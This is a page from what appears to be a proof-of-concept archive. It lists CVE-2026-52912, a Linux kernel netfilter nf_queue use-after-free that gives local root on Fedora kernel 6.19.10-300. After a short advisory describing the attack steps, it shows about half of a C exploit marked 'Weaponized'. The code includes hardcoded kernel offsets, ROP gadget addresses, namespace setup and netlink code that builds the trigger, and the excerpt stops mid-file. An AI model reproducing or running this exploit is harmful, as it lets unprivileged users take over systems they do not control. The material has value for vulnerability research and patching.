PoC Archive PoC Archive
CVE-2026-52912 category: binary CVSS 7.8 (HIGH)
Unverified

Linux Netfilter nf_queue UAF LPE (CVE-2026-52912)

Published: 2026-09-03 • Researcher: Nebula Security (NebuSec / CyberMeowfia)

Target software Linux kernel (netfilter nf_queue)
Affected versions Fedora (kernel 6.19.10-300)
Status Weaponized
Severity High · CVSS 7.8
CVSS 7.8/10
Severity
High
CVE
CVE-2026-52912
Category
binary
Affected product
Linux kernel (netfilter nf_queue)
Affected versions
Fedora (kernel 6.19.10-300)
Disclosed
2026-09-03
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-09-03
Author / ResearcherNebula Security (NebuSec / CyberMeowfia)
CVE / AdvisoryCVE-2026-52912
Categorybinary
SeverityHigh
CVSS Score7.8
StatusWeaponized
TagsLPE, Linux kernel, netfilter, nf_queue, UAF, Fedora, C

Affected Target

FieldValue
Software / SystemLinux kernel (netfilter nf_queue)
Versions AffectedFedora (kernel 6.19.10-300)
Language / PlatformC, Linux
Authentication RequiredYes (local unprivileged shell)
Network Access RequiredLocal only

Summary

CVE-2026-52912 is a use-after-free vulnerability in the Linux kernel netfilter nf_queue subsystem. Nebula Security developed a weaponized exploit targeting Fedora with kernel 6.19.10-300. The exploit uses bridge netfilter with NFQUEUE to trigger the UAF, builds a fake netdev structure via Unix socket spray for arbitrary ROP execution, and calls commit_creds(init_cred) to escalate to root.

Vulnerability Details

Root Cause

A use-after-free in netfilter nf_queue packet handling via the bridge netfilter path. The exploit triggers the condition through NFQUEUE verdict handling on bridged packets.

Attack Vector

  1. Set up bridge interfaces and NFQUEUE rules in unprivileged user/net namespaces
  2. Trigger UAF via crafted packet flow through bridge netfilter + NFQUEUE
  3. Spray fake packet_type and netdev structures via Unix socket pairs
  4. Hijack control flow via fake packet_type function pointer
  5. RDX-controlled stack pivot into ROP chain
  6. commit_creds(init_cred) + KPTI-safe return to userspace
  7. Execute post-exploitation as root

Impact

Local privilege escalation to root on Fedora with stock kernel.

References

Notes

Auto-ingested from https://github.com/NebuSec/CyberMeowfia on 2026-09-03.

exploit.c
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
/*
 * Copyright 2026 Nebula Security
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 * SPDX-License-Identifier: Apache-2.0
 */

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <net/if.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/if_link.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nfnetlink_queue.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nf_tables_compat.h>
#include <linux/netfilter/xt_physdev.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/veth.h>
#include <poll.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#include "leak.h"
#include "known_page.h"

#define QUEUE_NUM 4242
#define NF_BR_LOCAL_IN 1
#define KERNEL_BASE UINT64_C(0xffffffff81000000)
#define KERNEL_IMAGE_PAGES 22
#define FEDORA_IMAGE_EDGE_BIAS UINT64_C(0x200000)
#define OFF_RDX_STACK_PIVOT UINT64_C(0x599582)
#define OFF_POP_RSP UINT64_C(0x2762f0)
#define OFF_POP_RDI UINT64_C(0x203a95)
#define OFF_COMMIT_CREDS UINT64_C(0x425660)
#define OFF_INIT_CRED UINT64_C(0x2a15840)
#define OFF_INIT_NET UINT64_C(0x3b6d6c0)
#define OFF_RCU_READ_UNLOCK UINT64_C(0x4da7d0)
#define OFF_LOCAL_BH_ENABLE UINT64_C(0x3e97f0)
#define OFF_KPTI_RETURN UINT64_C(0x1894)
#define PACKET_TYPE_FUNC 0x10
#define PACKET_TYPE_LIST 0x38
#define FAKE_PTYPE1 0x1000
#define FAKE_PTYPE2 0x1100
#define ANCHOR_ROP 0x1800
#define UNIX_SPRAY_PAIRS 32
#define UNIX_SPRAY_PER_PAIR 8
#define UNIX_SPRAY_LEN 7000

static uint32_t nl_seq;
static uint64_t kernel_slide;
static uint64_t known_page;
static int spray_fds[UNIX_SPRAY_PAIRS][2];
static uint64_t user_cs, user_ss, user_rflags, user_rsp;
static void *user_stack;

static void recv_ack(int fd, uint32_t seq);

static void die(const char *what)
{
	perror(what);
	exit(EXIT_FAILURE);
}

static void write_all(int fd, const char *buf, size_t len)
{
	while (len) {
		ssize_t n = write(fd, buf, len);

		if (n < 0) {
			if (errno == EINTR)
				continue;
			die("write");
		}
		buf += n;
		len -= (size_t)n;
	}
}

static void write_text(const char *path, const char *text)
{
	int fd = open(path, O_WRONLY | O_CLOEXEC);

	if (fd < 0)
		die(path);
	write_all(fd, text, strlen(text));
	close(fd);
}

static void pin_cpu(int cpu)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	if (sched_setaffinity(0, sizeof(set), &set) < 0)
		die("sched_setaffinity");
}

 static void resolve_kernel_addresses(void)
{
	/* The generic helper reports one 2-MiB slot below Fedora's _text. */
	kernel_slide = leak_image_slide_checked() +
		FEDORA_IMAGE_EDGE_BIAS;
	printf("[+] resolved _text slide=%#llx\n",
	       (unsigned long long)kernel_slide);
}

 static void drop_to_nobody_if_root(void)
{
	if (geteuid() != 0)
		return;
	if (setgroups(0, NULL) < 0)
		die("setgroups(drop)");
	if (setresgid(65534, 65534, 65534) < 0)
		die("setresgid(nobody)");
	if (setresuid(65534, 65534, 65534) < 0)
		die("setresuid(nobody)");
	if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0)
		die("prctl(PR_SET_DUMPABLE)");
}

static void enter_unprivileged_user_net_mount_namespaces(void)
{
	char map[128];
	uid_t uid;
	gid_t gid;

	uid = getuid();
	gid = getgid();
	printf("[+] initial credentials uid=%u gid=%u\n", uid, gid);
	if (unshare(CLONE_NEWUSER) < 0)
		die("unshare(CLONE_NEWUSER)");
	write_text("/proc/self/setgroups", "deny");
	snprintf(map, sizeof(map), "0 %u 1\n", uid);
	write_text("/proc/self/uid_map", map);
	snprintf(map, sizeof(map), "0 %u 1\n", gid);
	write_text("/proc/self/gid_map", map);
	if (setresgid(0, 0, 0) < 0 || setresuid(0, 0, 0) < 0)
		die("setresuid/setresgid(namespace root)");
	if (unshare(CLONE_NEWNET | CLONE_NEWNS) < 0)
		die("unshare(CLONE_NEWNET|CLONE_NEWNS)");
	printf("[+] namespace credentials uid=%u gid=%u\n", getuid(), getgid());
}

static struct nlattr *put_attr(struct nlmsghdr *nlh, size_t cap,
			       uint16_t type, const void *data, size_t len)
{
	size_t off = NLMSG_ALIGN(nlh->nlmsg_len);
	size_t need = NLA_ALIGN(NLA_HDRLEN + len);
	struct nlattr *nla;

	if (off + need > cap) {
		errno = EMSGSIZE;
		die("put_attr");
	}
	nla = (struct nlattr *)((char *)nlh + off);
	nla->nla_type = type;
	nla->nla_len = (uint16_t)(NLA_HDRLEN + len);
	memcpy((char *)nla + NLA_HDRLEN, data, len);
	memset((char *)nla + nla->nla_len, 0, need - nla->nla_len);
	nlh->nlmsg_len = (uint32_t)(off + need);
	return nla;
}

static void send_nl(int fd, struct nlmsghdr *nlh)
{
	struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
	struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
	struct msghdr msg = {
		.msg_name = &dst,
		.msg_namelen = sizeof(dst),
		.msg_iov = &iov,
		.msg_iovlen = 1,
	};

	if (sendmsg(fd, &msg, 0) < 0)
		die("sendmsg(NETLINK_NETFILTER)");
}

static struct nlattr *nest_start(struct nlmsghdr *nlh, size_t cap,
				 uint16_t type)
{
	return put_attr(nlh, cap, type | NLA_F_NESTED, NULL, 0);
}

static void nest_end(struct nlmsghdr *nlh, struct nlattr *nla)
{
	nla->nla_len = (uint16_t)((char *)nlh + nlh->nlmsg_len - (char *)nla);
}

static int open_netlink_route(void)
{
	int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_ROUTE);
	struct sockaddr_nl local = { .nl_family = AF_NETLINK };

	if (fd < 0)
		die("socket(NETLINK_ROUTE)");
	if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
		die("bind(NETLINK_ROUTE)");
	return fd;
}

static void rtnl_send_ack(int fd, struct nlmsghdr *nlh)
{
	nlh->nlmsg_seq = ++nl_seq;
	send_nl(fd, nlh);
	recv_ack(fd, nlh->nlmsg_seq);
}

static void rtnl_new_bridge(int fd, const char *name)
{
	char buf[1024] = { 0 };
	struct nlmsghdr *nlh = (void *)buf;
	struct ifinfomsg *ifi;
	struct nlattr *linkinfo;

	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
	nlh->nlmsg_type = RTM_NEWLINK;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
	ifi = NLMSG_DATA(nlh);
	ifi->ifi_family = AF_UNSPEC;
	put_attr(nlh, sizeof(buf), IFLA_IFNAME, name, strlen(name) + 1);
	linkinfo = nest_start(nlh, sizeof(buf), IFLA_LINKINFO);
	put_attr(nlh, sizeof(buf), IFLA_INFO_KIND, "bridge", sizeof("bridge"));
	nest_end(nlh, linkinfo);
	rtnl_send_ack(fd, nlh);
	printf("[+] created bridge %s via raw rtnetlink\n", name);
}

static void rtnl_new_veth(int fd, const char *left, const char *right)
{
	char buf[1536] = { 0 };
	struct nlmsghdr *nlh = (void *)buf;
	struct ifinfomsg *ifi;
	struct nlattr *linkinfo, *infodata, *peer;

	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
	nlh->nlmsg_type = RTM_NEWLINK;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
	ifi = NLMSG_DATA(nlh);
	ifi->ifi_family = AF_UNSPEC;
	put_attr(nlh, sizeof(buf), IFLA_IFNAME, left, strlen(left) + 1);
	linkinfo = nest_start(nlh, sizeof(buf), IFLA_LINKINFO);
	put_attr(nlh, sizeof(buf), IFLA_INFO_KIND, "veth", sizeof("veth"));
	infodata = nest_start(nlh, sizeof(buf), IFLA_INFO_DATA);
	peer = nest_start(nlh, sizeof(buf), VETH_INFO_PEER);
	if (nlh->nlmsg_len + sizeof(*ifi) > sizeof(buf)) {
		errno = EMSGSIZE;
		die("rtnl veth peer");
	}
	ifi = (void *)(buf + nlh->nlmsg_len);
	memset(ifi, 0, sizeof(*ifi));
	ifi->ifi_family = AF_UNSPEC;
	nlh->nlmsg_len += sizeof(*ifi);
	put_attr(nlh, sizeof(buf), IFLA_IFNAME, right, strlen(right) + 1);
	nest_end(nlh, peer);
	nest_end(nlh, infodata);
	nest_end(nlh, linkinfo);
	rtnl_send_ack(fd, nlh);
	printf("[+] created veth %s/%s via raw rtnetlink\n", left, right);
}

static unsigned int require_ifindex(const char *name)
{
	unsigned int index = if_nametoindex(name);

	if (!index)
		die("if_nametoindex");
	return index;
}

static void rtnl_set_master(int fd, const char *port, const char *master)
{
	char buf[512] = { 0 };
	struct nlmsghdr *nlh = (void *)buf;
	struct ifinfomsg *ifi;
	uint32_t master_index = require_ifindex(master);

	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
	nlh->nlmsg_type = RTM_NEWLINK;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	ifi = NLMSG_DATA(nlh);
	ifi->ifi_family = AF_UNSPEC;
	ifi->ifi_index = (int)require_ifindex(port);
	put_attr(nlh, sizeof(buf), IFLA_MASTER, &master_index, sizeof(master_index));
	rtnl_send_ack(fd, nlh);
}

static void rtnl_set_up(int fd, const char *name)
{
	char buf[512] = { 0 };
	struct nlmsghdr *nlh = (void *)buf;
	struct ifinfomsg *ifi;

	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
	nlh->nlmsg_type = RTM_NEWLINK;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	ifi = NLMSG_DATA(nlh);
	ifi->ifi_family = AF_UNSPEC;
	ifi->ifi_index = (int)require_ifindex(name);
	ifi->ifi_flags = IFF_UP;
	ifi->ifi_change = IFF_UP;
	rtnl_send_ack(fd, nlh);
}

static void rtnl_set_bridge_nf_call_iptables(int fd, const char *name)
{
	char buf[768] = { 0 };
	struct nlmsghdr *nlh = (void *)buf;
	struct ifinfomsg *ifi;
	struct nlattr *linkinfo, *infodata;
	uint8_t one = 1;

	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
	nlh->nlmsg_type = RTM_NEWLINK;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	ifi = NLMSG_DATA(nlh);
	ifi->ifi_family = AF_UNSPEC;
	ifi->ifi_index = (int)require_ifindex(name);
	linkinfo = nest_start(nlh, sizeof(buf), IFLA_LINKINFO);
	put_attr(nlh, sizeof(buf), IFLA_INFO_KIND, "bridge", sizeof("bridge"));
	infodata = nest_start(nlh, sizeof(buf), IFLA_INFO_DATA);
	put_attr(nlh, sizeof(buf), IFLA_BR_NF_CALL_IPTABLES, &one, sizeof(one));
	nest_end(nlh, infodata);
	nest_end(nlh, linkinfo);
	rtnl_send_ack(fd, nlh);
}

static void rtnl_delete_link(const char *name)
{
	int fd = open_netlink_route();
	char buf[512] = { 0 };
	struct nlmsghdr *nlh = (void *)buf;
	struct ifinfomsg *ifi;

	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
	nlh->nlmsg_type = RTM_DELLINK;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	ifi = NLMSG_DATA(nlh);
	ifi->ifi_family = AF_UNSPEC;
	ifi->ifi_index = (int)require_ifindex(name);
	rtnl_send_ack(fd, nlh);
	close(fd);
}

static void send_nft_batch_one(int fd, struct nlmsghdr *request)
{
	char batch[4096] = { 0 };
	struct nlmsghdr *begin = (void *)batch;
	struct nfgenmsg *nfg;
	struct nlmsghdr *msg;
	struct nlmsghdr *end;
	size_t off;
	struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
	struct iovec iov;
	struct msghdr mh = {
		.msg_name = &dst,
		.msg_namelen = sizeof(dst),
		.msg_iov = &iov,
		.msg_iovlen = 1,
	};
	uint32_t request_seq;

	begin->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg));
	begin->nlmsg_type = NFNL_MSG_BATCH_BEGIN;
	begin->nlmsg_flags = NLM_F_REQUEST;
	begin->nlmsg_seq = ++nl_seq;
	nfg = NLMSG_DATA(begin);
	nfg->nfgen_family = AF_UNSPEC;
	nfg->version = NFNETLINK_V0;
	nfg->res_id = htons(NFNL_SUBSYS_NFTABLES);

	off = NLMSG_ALIGN(begin->nlmsg_len);
	msg = (void *)(batch + off);
	memcpy(msg, request, request->nlmsg_len);
	msg->nlmsg_seq = ++nl_seq;
	request_seq = msg->nlmsg_seq;
	off += NLMSG_ALIGN(msg->nlmsg_len);

	end = (void *)(batch + off);
	end->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg));
	end->nlmsg_type = NFNL_MSG_BATCH_END;
	end->nlmsg_flags = NLM_F_REQUEST;
	end->nlmsg_seq = ++nl_seq;
	nfg = NLMSG_DATA(end);
	nfg->nfgen_family = AF_UNSPEC;
	nfg->version = NFNETLINK_V0;
	nfg->res_id = htons(NFNL_SUBSYS_NFTABLES);
	off += NLMSG_ALIGN(end->nlmsg_len);

	iov.iov_base = batch;
	iov.iov_len = off;
	if (sendmsg(fd, &mh, 0) < 0)
		die("sendmsg(nft batch)");
	recv_ack(fd, request_seq);
}

static void nft_base_request(char *buf, size_t cap, uint16_t msg_type,
			     uint8_t family)
{
	struct nlmsghdr *nlh = (void *)buf;
	struct nfgenmsg *nfg;

	memset(buf, 0, cap);
	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg));
	nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | msg_type;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
	nfg = NLMSG_DATA(nlh);
	nfg->nfgen_family = family;
	nfg->version = NFNETLINK_V0;
	nfg->res_id = 0;
}

static int open_netfilter_socket(void)
{
	int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
	struct sockaddr_nl local = { .nl_family = AF_NETLINK };

	if (fd < 0)
		die("socket(NETLINK_NETFILTER)");
	if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
		die("bind(NETLINK_NETFILTER)");
	return fd;
}

static void install_br_netfilter_autoload_rule_raw(void)
{
	int fd = open_netfilter_socket();
	char buf[2048];
	struct nlmsghdr *nlh = (void *)buf;
	struct nlattr *hook, *exprs, *elem, *data;
	uint32_t hooknum = htonl(NF_INET_FORWARD);
	uint32_t priority = htonl(0);
	uint32_t policy = htonl(NF_ACCEPT);
	uint32_t revision = htonl(0);
	struct xt_physdev_info physdev = {
		.bitmask = XT_PHYSDEV_OP_BRIDGED,
	};

	nft_base_request(buf, sizeof(buf), NFT_MSG_NEWTABLE, NFPROTO_IPV4);
	put_attr(nlh, sizeof(buf), NFTA_TABLE_NAME, "autoload", sizeof("autoload"));
	send_nft_batch_one(fd, nlh);

	nft_base_request(buf, sizeof(buf), NFT_MSG_NEWCHAIN, NFPROTO_IPV4);
	put_attr(nlh, sizeof(buf), NFTA_CHAIN_TABLE, "autoload", sizeof("autoload"));
	put_attr(nlh, sizeof(buf), NFTA_CHAIN_NAME, "fwd", sizeof("fwd"));
	put_attr(nlh, sizeof(buf), NFTA_CHAIN_TYPE, "filter", sizeof("filter"));
	hook = nest_start(nlh, sizeof(buf), NFTA_CHAIN_HOOK);
	put_attr(nlh, sizeof(buf), NFTA_HOOK_HOOKNUM, &hooknum, sizeof(hooknum));
	put_attr(nlh, sizeof(buf), NFTA_HOOK_PRIORITY, &priority, sizeof(priority));
	nest_end(nlh, hook);
	put_attr(nlh, sizeof(buf), NFTA_CHAIN_POLICY, &policy, sizeof(policy));
	send_nft_batch_one(fd, nlh);

	nft_base_request(buf, sizeof(buf), NFT_MSG_NEWRULE, NFPROTO_IPV4);
	put_attr(nlh, sizeof(buf), NFTA_RULE_TABLE, "autoload", sizeof("autoload"));
	put_attr(nlh, sizeof(buf), NFTA_RULE_CHAIN, "fwd", sizeof("fwd"));
	exprs = nest_start(nlh, sizeof(buf), NFTA_RULE_EXPRESSIONS);
	elem = nest_start(nlh, sizeof(buf), NFTA_LIST_ELEM);
	put_attr(nlh, sizeof(buf), NFTA_EXPR_NAME, "match", sizeof("match"));
	data = nest_start(nlh, sizeof(buf), NFTA_EXPR_DATA);
	put_attr(nlh, sizeof(buf), NFTA_MATCH_NAME, "physdev", sizeof("physdev"));
	put_attr(nlh, sizeof(buf), NFTA_MATCH_REV, &revision, sizeof(revision));
	put_attr(nlh, sizeof(buf), NFTA_MATCH_INFO, &physdev, sizeof(physdev));
Showing 500 of 1043 lines View full file on GitHub →